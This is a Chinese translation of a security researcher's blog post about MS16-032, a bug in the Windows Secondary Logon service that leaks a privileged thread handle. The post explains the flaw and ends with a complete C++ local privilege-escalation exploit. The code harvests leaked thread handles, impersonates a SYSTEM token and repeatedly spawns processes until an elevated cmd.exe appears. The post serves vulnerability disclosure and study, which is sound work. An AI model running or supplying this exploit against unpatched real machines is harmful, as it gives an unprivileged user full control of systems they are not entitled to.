原文地址:
https://googleprojectzero.blogspot.jp/2016/03/exploiting-leaked-thread-handle.html
原作者寫了太多的從句,token handle換來換去,一大堆三四行沒逗號的句子看得我頭暈不已,如果手滑翻譯錯了,比如把令牌誤打成句柄,請不要疑惑,聯系我。
我偶然發現了發現一個可以把在特權進程中打開的句柄泄漏到較低的特權進程的bug。Bug位于Windows?Secondary?Logon服務中,該漏洞可以泄漏一個具有完全訪問權限的線程句柄。微軟在MS16-032補丁中修復了這個bug。這篇博客將告訴你不用傳統的內存損壞技術時,你將如何使用線程句柄來獲得系統權限。
你可以在這里找到issue。 Secondary Logon服務存在于Windows XP+。該服務暴露了一個允許正常的進程創建一個新的、帶有不同token的進程的RPC終結點。從API的角度來看此功能是通過CreateProcessWithTokenW和CreateProcessWithLogonW 暴露出來的。他們行為非常像CreateProcessAsUser,有所不同的是,它不需SeAssignPrimaryTokenPrivilege(+AsUser),而是需要SeImpersonatePrivilege來模擬令牌。登錄功能很便捷,它通過登錄憑據,調用LsaLogonUser并使用所產生的令牌來創建進程。
這些API采取與正常的CreateProcess相同的參數(包括傳句柄給stdin/stdout/stderror時也是一樣)。句柄傳遞的過程允許控制臺進程的輸出和輸入重定向到其它文件。當創建一個新的進程時,這些句柄通常是通過句柄繼承轉移到新的進程中。在Secondary?Logon的例子中,服務不是新進程的實際父進程,所以它是手動從指定的父進程使用?DuplicateHandle?API?復制句柄到新進程的。代碼如下
#!cpp
// Contains, hStdInput, hStdOutout and hStdError.
HANDLE StandardHandles[3] = {...};
// Location of standard handle in target process PEB.
PHANDLE HandleAddress = ...;
for(int i = 0; i < 3; ++i) {
?if (StandardHandles[i]) {
???if (StandardHandles[i] & 0x10000003) != 3 ) {
?????HANDLE TargetHandle;
?????if (!DuplicateHandle(ParentProcess, StandardHandles[i],
?????????TargetProcess, &TargetHandle, 0, TRUE, DUPLICATE_SAME_ACCESS))
???????return ERROR;
?????if (!WriteProcessMemory(TargetProcess, &HandleAddress[i],
????????&TargetHandle, sizeof(TargetHandle)))
???????return ERROR;
???}
?}
}
代碼從父進程(這是RPC的調用者)復制句柄到目標進程。然后將復制的句柄的值寫入到新進程PEB?ProcessParameters結構中,這可以通過API,例如GetStdHandle提取。句柄值看起來以某種方式進行了標準化:它檢查了該句柄的低2位是否沒有設置(在NT架構的系統中句柄值總是4的倍數),但它也檢查29位是否沒有設置。
為了性能方面的考慮,也為了開發更簡單,NT內核有一個特殊處理,允許進程使用偽句柄引用當前進程或線程,而不用由它的PID/ TID打開該對象并通過完整訪問權限來獲取(雖然這樣也能成功)。開發人員通常會通過GetCurrentProcess和GetCurrentThread的API獲取到。我們可以看到下面的代碼中展示出的特例:
#!cpp
NTSTATUS ObpReferenceProcessObjectByHandle(HANDLE ??????SourceHandle,
??????????????????????????????????????????EPROCESS* ???SourceProcess,
??????????????????????????????????????????...,
??????????????????????????????????????????PVOID* ??????Object,
??????????????????????????????????????????ACCESS_MASK* GrantedAccess) {
?if ((INT_PTR)SourceHandle < 0) {
???if (SourceHandle == (HANDLE)-1 ) {
?????*GrantedAccess = PROCESS_ALL_ACCESS;
?????*Object = SourceProcess;
?????return STATUS_SUCCESS;
???} else if (SourceHandle == (HANDLE)-2) {
?????*GrantedAccess = THREAD_ALL_ACCESS;
?????*Object = KeGetCurrentThread();
?????return STATUS_SUCCESS;
???}
???return STATUS_INVALID_HANDLE;
???
???// Get from process handle table.
}
現在我們可以理解為什么代碼檢查29位了。它檢查低2位是否設置了值(偽句柄 -1,-2),但即使較高的位被設置了,也一樣應該被認為是有效的句柄。這便是錯誤根源所在。我們可以從內核代碼發現,如果指定了-1,那么源進程就有完整的訪問權限。但是,并沒有什么用。因為源進程已經在我們的控制之下,并沒有特權。
在另一方面,如果指定-2,則對當前線程有完全訪問,但是該線程實際上是Secondary Logon服務,并且它也是用來處理RPC請求的線程池之一的現成。這顯然是有問題的。
唯一的問題是如何我們才可以調用CreateProcessWithToken/Logon API來作為一個普通用戶啟動進程?調用者需要具有SeImpersonatePrivilege才行,但你很容易會考慮到以普通用戶登錄時,需要一個有效的用戶帳號和密碼,如果我們是一個惡意用戶這是可以的,但如果我們在用漏洞攻擊別人的話,還是不要這樣為好。仔細看了看原來有一個特殊的標志,可以讓我們不需要提供有效的憑證,名為LOGON_NETCREDENTIALS_ONLY。當它與登錄API一起用于連接網絡資源時,主令牌是基于主叫方的。這使我們無需特殊權限或需要用戶的密碼去創建進程。將其組合在一起,我們可以使用下面的代碼捕獲一個線程句柄:
#!cpp
HANDLE GetThreadHandle() {
?PROCESS_INFORMATION procInfo = {};
?STARTUPINFO startInfo = {};
?startInfo.cb = sizeof(startInfo);
?startInfo.hStdInput = GetCurrentThread();
?startInfo.hStdOutput = GetCurrentThread();
?startInfo.hStdError = GetCurrentThread();
?startInfo.dwFlags = STARTF_USESTDHANDLES;
?CreateProcessWithLogonW(L"test", L"test", L"test",
?????????????????????????LOGON_NETCREDENTIALS_ONLY, nullptr, L"cmd.exe",
?????????????????????????CREATE_SUSPENDED, nullptr, nullptr,
?????????????????????????&startInfo, &procInfo);
?HANDLE hThread = nullptr; ?
?DuplicateHandle(procInfo.hProcess, (HANDLE)0x4,
????????GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS);
?TerminateProcess(procInfo.hProcess, 1);
?CloseHandle(procInfo.hProcess);
?CloseHandle(procInfo.hThread);
?return hThread;
}
利用環節。很幸運這個句柄屬于一個線程池線程,這意味著該線程將用來處理其他RPC請求。如果線程只存在于服務的一個請求中,用完就渣都不剩了的話將是一個棘手很多的利用。
你可能會認為首先要設置線程上下文才能利用此泄露句柄。不管是處于調試目的還是為了要讓另一個進程支持恢復執行,我們都需要用SetThreadContext。它將保存CONTEXT的狀態,包括寄存器值,如RIP和RSP,當線程恢復執行時,讀取保存的值就可以從指定位置執行。這似乎是一個好方法,但是肯定也有問題。
?Secondary Logon服務的全部要點是創建任意token的新進程,所以如果我們能以某種方式欺騙服務使用特權訪問令牌和繞過安全限制,我們應該能夠提升我們的特權。咋整?讓我們來看看服務實現CreateProcessWithLogon的代碼序列。
#!cpp
RpcImpersonateClient();
Process = OpenProcess(CallingProcess);
Token = OpenThreadToken(Process)
If Token IL < MEDIUM_IL Then Error;
RpcRevertToSelf();
RpcImpersonateClient();
Token = LsaLogonUser(...);
RpcRevertToSelf();
ImpersonateLoggedOnUser(Token);
CreateProcessAsUser(Token, ...);
RevertToSelf();
這段代碼大量使用了身份模擬,因為我們已經獲取了一個帶有THREAD_IMPERSONATE 訪問權限的線程,所以我們可以設置線程的模擬令牌。如果我們在服務調用LsaLogonUser時設置了一個有權限的模擬句柄我們可以獲取一個該token的拷貝,并可以用它來創建任意進程。
如果我們能夠清除模擬令牌(然后它們會退回主系統句柄)事情就會簡單得多。但是不幸的是IL check阻擋了我們的腳步。如果我們在錯誤的時間清除了句柄OpenThreadToken將會失敗,并且IL檢查會拒絕訪問。所以我們需要從另一個地方拿到有權限的模擬令牌。有無數種方法能做到,比如通過WebDAV與NTML協商,但是這只會增加復雜度。能不能通過其他方法不借助其他資源來拿到token呢?
有個未文檔化的nt系統調用NtImpersonateThread 可以幫上忙。
#!cpp
NTSTATUS NtImpersonateThread(HANDLE ThreadHandle,
HANDLE ThreadToImpersonate,
PSECURITY_QUALITY_OF_SERVICE SecurityQoS)
這個系統調用允許你基于另一個線程的狀態應用一個模擬token到一個線程上,如果源線程沒有模擬token,內核就會從關聯的進程主token創建一個。盡管沒啥用,但是這可能讓我們用同一個線程的句柄來為目標和源創建模擬。因為這是個系統服務,所以我們需要拿到一個系統模擬token。通過下面代碼可以實現:
#!cpp
HANDLE GetSystemToken(HANDLE hThread) {
// Suspend thread just in case.
SuspendThread(hThread);
SECURITY_QUALITY_OF_SERVICE sqos = {};
sqos.Length = sizeof(sqos);
sqos.ImpersonationLevel = SecurityImpersonation;
// Clear existing thread token.
SetThreadToken(&hThread, nullptr);
NtImpersonateThread(hThread, hThread, &sqos);
// Open a new copy of the token.
HANDLE hToken = nullptr;
OpenThreadToken(hThread, TOKEN_ALL_ACCESS, FALSE, &hToken);
ResumeThread(hThread);
return hToken;
}
萬事俱備。 我們啟動一個線程來循環給泄漏的線程句柄設置系統模擬令牌。另一個線程里面我們調用CreateProcessWithLogon 直到新進程有有權限的令牌。我們能夠通過檢查主令牌來確定是否創建成功。因為默認情況下我們不能打開令牌,一旦我們打開了就成功了。
![p1][1]
這個簡單的方法有個問題,就是線程池中有一堆線程可用,所以我們不能確保調用服務并且準確的調用到特定的線程。所以我們得運行n次,來獲取到我們想要的句柄。只要我們拿到所有有可能拿到的線程的句柄,我們基本就十有八九成功了。
也許我們能通過調整線程優先級來提高可靠性。但是看起來這種方式也還可以,也不太會崩潰然后創建一個帶無特權令牌的進程。在多個線程調用CreateProcessWithLogon也沒有什么意義,因為服務有個全局鎖防止重入。
我在文章最后粘上了利用代碼。你需要確認下編譯環境,位數是否正確,因為RPC調用可能會截斷句柄。因為句柄值是指針,無符號數。當RPC方法轉換32位句柄到64位句柄時會自動填充零,因此(DWORD)-2 不等于 (DWORD64)-2 ,會產生無效句柄值。
希望我通過這個文章描繪出了一個有趣的在有權限的服務中泄漏線程句柄的攻擊方式。當然,它只在泄漏的線程句柄用作能夠直接給予我們進程創建能力的服務,但是你也可以用這種方式創建任意文件或其他資源。你可以通過內存損壞利用技術來達到這個目的,但是你不一定需要這么做。
#!cpp
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <map>
#define MAX_PROCESSES 1000
HANDLE GetThreadHandle()
{
?PROCESS_INFORMATION procInfo = {};
?STARTUPINFO startInfo = {};
?startInfo.cb = sizeof(startInfo);
?startInfo.hStdInput = GetCurrentThread();
?startInfo.hStdOutput = GetCurrentThread();
?startInfo.hStdError = GetCurrentThread();
?startInfo.dwFlags = STARTF_USESTDHANDLES;
?if (CreateProcessWithLogonW(L"test", L"test", L"test",
??????????????LOGON_NETCREDENTIALS_ONLY,
??????????????nullptr, L"cmd.exe", CREATE_SUSPENDED,
??????????????nullptr, nullptr, &startInfo, &procInfo))
?{
???HANDLE hThread; ??
???BOOL res = DuplicateHandle(procInfo.hProcess, (HANDLE)0x4,
????????????GetCurrentProcess(), &hThread, 0, FALSE, DUPLICATE_SAME_ACCESS);
???DWORD dwLastError = GetLastError();
???TerminateProcess(procInfo.hProcess, 1);
???CloseHandle(procInfo.hProcess);
???CloseHandle(procInfo.hThread);
???if (!res)
???{
?????printf("Error duplicating handle %d\n", dwLastError);
?????exit(1);
???}
???return hThread;
?}
?else
?{
???printf("Error: %d\n", GetLastError());
???exit(1);
?}
}
typedef NTSTATUS __stdcall NtImpersonateThread(HANDLE ThreadHandle,
?????HANDLE ThreadToImpersonate,
?????PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService);
HANDLE GetSystemToken(HANDLE hThread)
{
?SuspendThread(hThread);
?NtImpersonateThread* fNtImpersonateThread =
????(NtImpersonateThread*)GetProcAddress(GetModuleHandle(L"ntdll"),
?????????????????????????????????????????"NtImpersonateThread");
?SECURITY_QUALITY_OF_SERVICE sqos = {};
?sqos.Length = sizeof(sqos);
?sqos.ImpersonationLevel = SecurityImpersonation;
?SetThreadToken(&hThread, nullptr);
?NTSTATUS status = fNtImpersonateThread(hThread, hThread, &sqos);
?if (status != 0)
?{
???ResumeThread(hThread);
???printf("Error impersonating thread %08X\n", status);
???exit(1);
?}
?HANDLE hToken;
?if (!OpenThreadToken(hThread, TOKEN_DUPLICATE | TOKEN_IMPERSONATE,
??????????????????????FALSE, &hToken))
?{
???printf("Error opening thread token: %d\n", GetLastError());
???ResumeThread(hThread); ???
???exit(1);
?}
?ResumeThread(hThread);
?return hToken;
}
struct ThreadArg
{
?HANDLE hThread;
?HANDLE hToken;
};
DWORD CALLBACK SetTokenThread(LPVOID lpArg)
{
?ThreadArg* arg = (ThreadArg*)lpArg;
?while (true)
?{
???if (!SetThreadToken(&arg->hThread, arg->hToken))
???{
?????printf("Error setting token: %d\n", GetLastError());
?????break;
???}
?}
?return 0;
}
int main()
{
?std::map<DWORD, HANDLE> thread_handles;
?printf("Gathering thread handles\n");
?for (int i = 0; i < MAX_PROCESSES; ++i) {
???HANDLE hThread = GetThreadHandle();
???DWORD dwTid = GetThreadId(hThread);
???if (!dwTid)
???{
?????printf("Handle not a thread: %d\n", GetLastError());
?????exit(1);
???}
???if (thread_handles.find(dwTid) == thread_handles.end())
???{
?????thread_handles[dwTid] = hThread;
???}
???else
???{
?????CloseHandle(hThread);
???}
?}
?printf("Done, got %zd handles\n", thread_handles.size());
?
?if (thread_handles.size() > 0)
?{
???HANDLE hToken = GetSystemToken(thread_handles.begin()->second);
???printf("System Token: %p\n", hToken);
???
???for (const auto& pair : thread_handles)
???{
?????ThreadArg* arg = new ThreadArg;
?????arg->hThread = pair.second;
?????DuplicateToken(hToken, SecurityImpersonation, &arg->hToken);
?????CreateThread(nullptr, 0, SetTokenThread, arg, 0, nullptr);
???}
???while (true)
???{
?????PROCESS_INFORMATION procInfo = {};
?????STARTUPINFO startInfo = {};
?????startInfo.cb = sizeof(startInfo); ????
?????if (CreateProcessWithLogonW(L"test", L"test", L"test",
?????????????LOGON_NETCREDENTIALS_ONLY, nullptr,
?????????????L"cmd.exe", CREATE_SUSPENDED, nullptr, nullptr,
?????????????&startInfo, &procInfo))
?????{
???????HANDLE hProcessToken;
???????// If we can't get process token good chance it's a system process.
???????if (!OpenProcessToken(procInfo.hProcess, MAXIMUM_ALLOWED,
?????????????????????????????&hProcessToken))
???????{
?????????printf("Couldn't open process token %d\n", GetLastError());
?????????ResumeThread(procInfo.hThread);
?????????break;
???????}
???????// Just to be sure let's check the process token isn't elevated.
???????TOKEN_ELEVATION elevation;
???????DWORD dwSize =0;
???????if (!GetTokenInformation(hProcessToken, TokenElevation,
?????????????????????????????&elevation, sizeof(elevation), &dwSize))
???????{
?????????printf("Couldn't get token elevation: %d\n", GetLastError());
?????????ResumeThread(procInfo.hThread);
?????????break;
???????}
???????if (elevation.TokenIsElevated)
???????{
?????????printf("Created elevated process\n");
?????????break;
???????}
???????TerminateProcess(procInfo.hProcess, 1);
???????CloseHandle(procInfo.hProcess);
???????CloseHandle(procInfo.hThread);
?????} ????
???}
?}
?return 0;
}